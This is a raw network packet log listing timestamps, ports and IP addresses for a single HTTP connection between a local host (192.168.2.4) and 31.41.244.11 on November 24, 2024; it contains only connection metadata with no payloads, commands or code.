Nov 24, 2024 14:24:22.845757961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.845801115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.846560001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.846673012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.846704960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.846766949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.847487926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.847534895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.847704887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.847749949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.848391056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.848437071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.848516941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.848582029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.849404097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.849436998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.849488020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.850244999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.850307941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.850351095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.850394011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.851183891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.851222038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.851289034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.851330996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.852133036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.852267981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.852279902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.852328062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.853075981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.853121996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.853183031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.853352070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:22.853952885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:22.853997946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.007859945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.007942915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.008014917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.008065939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.008193970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.008241892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.008363008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.008435965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.009052038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.009150982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.009223938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.009274006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.010093927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.010106087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.010137081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.010152102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.011080027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.011090994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.011132956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.011863947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.011914968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.012029886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.012135983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.012929916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.012940884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.012979984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.013789892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.013848066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.013945103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.013998985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.014573097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.014584064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.014624119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.014787912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.014836073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.015913963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.015961885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.016751051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.016762018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.016808033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.016823053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.017580986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.017591000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.017640114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.018460989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.018512964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.018651009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.018697023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.019540071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.019551992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.019594908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.020225048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.020275116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.020406961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.020417929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.020427942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.020472050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.020498037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.021148920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.021203995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.021220922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.021261930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.022113085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.022164106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.022200108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.022294044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.023096085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.023148060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.023214102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.023349047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.023988962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.024046898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.024132967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.024207115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.024904013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.024952888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.025135994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.025182009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.025825024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.025876045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.025926113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.025963068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.026738882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.026791096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.026840925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.026906013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.027697086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.027808905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.027853966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.028644085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.028664112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.028687954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.028702974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.029603004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.029654026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.029690027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.029731989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.030450106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.030519962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.030554056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.030586958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.031609058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.031683922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.031785011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.031825066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.032376051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.032423019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.032452106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.032491922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.033242941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.033294916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.033328056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.033444881 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.034171104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.034209013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.034288883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.034341097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.035191059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.035267115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.035309076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.036043882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.036113024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.036113024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.036180019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.036948919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.037022114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.037051916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.037089109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.037889004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.037936926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.038026094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.038074017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.038810015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.038857937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.038862944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.038898945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.039748907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.039855003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.039860010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.039895058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.040683031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.040766001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.040848970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.040890932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.041661978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.041717052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.041798115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.041899920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.042540073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.042593002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.042645931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.042715073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.043545961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.043598890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.043622017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.043667078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.044483900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.044532061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.044599056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.044657946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.045321941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.045376062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.045404911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.045599937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.046248913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.046308994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.046355963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.046425104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.048194885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.048204899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.048249960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.050617933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.050627947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.050641060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.050674915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.050705910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.050776958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.050826073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.051126957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.051181078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.051275969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.051333904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.051791906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.051842928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.052150965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.052203894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.052752018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.052762985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.052800894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.052802086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.052840948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.052896976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.052937031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.053694963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.053895950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.053905010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.054269075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.054639101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.054691076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.054740906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.054786921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.055511951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.055589914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.212265015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212280035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212326050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.212343931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.212353945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212367058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212378979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212405920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.212426901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.212815046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212872982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.212939978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.212980986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.215606928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.215661049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.215939045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.215982914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.216759920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.216811895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.216912985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.216968060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.217077971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.217129946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.217257023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.217298985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.217403889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.217483997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.217505932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.217544079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.218556881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.218569040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.218621016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.219371080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.219419956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.219542027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.219589949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.220376015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.220436096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.220539093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.220612049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.221137047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.221184015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.221512079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.221560955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.222232103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.222243071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.222278118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.222289085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.223098993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.223177910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.223428965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.223476887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.224134922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.224145889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.224188089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.224841118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.224889040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.225020885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.225073099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.225883961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.225959063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.226053953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.226102114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.226754904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.226803064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.226831913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.226846933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.226859093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.226886988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.226912022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.227646112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.227698088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.227776051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.227817059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.228620052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.228674889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.228744984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.228782892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.229506969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.229567051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.229607105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.229645967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.230417013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.230467081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.230525970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.230679989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.231386900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.231442928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.231513023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.231564045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.232295990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.232348919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.232419968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.232475042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.233198881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.233248949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.233283043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.233325005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.234357119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.234421968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.234453917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.234493971 CET	49778	80	192.168.2.4	31.41.244.11
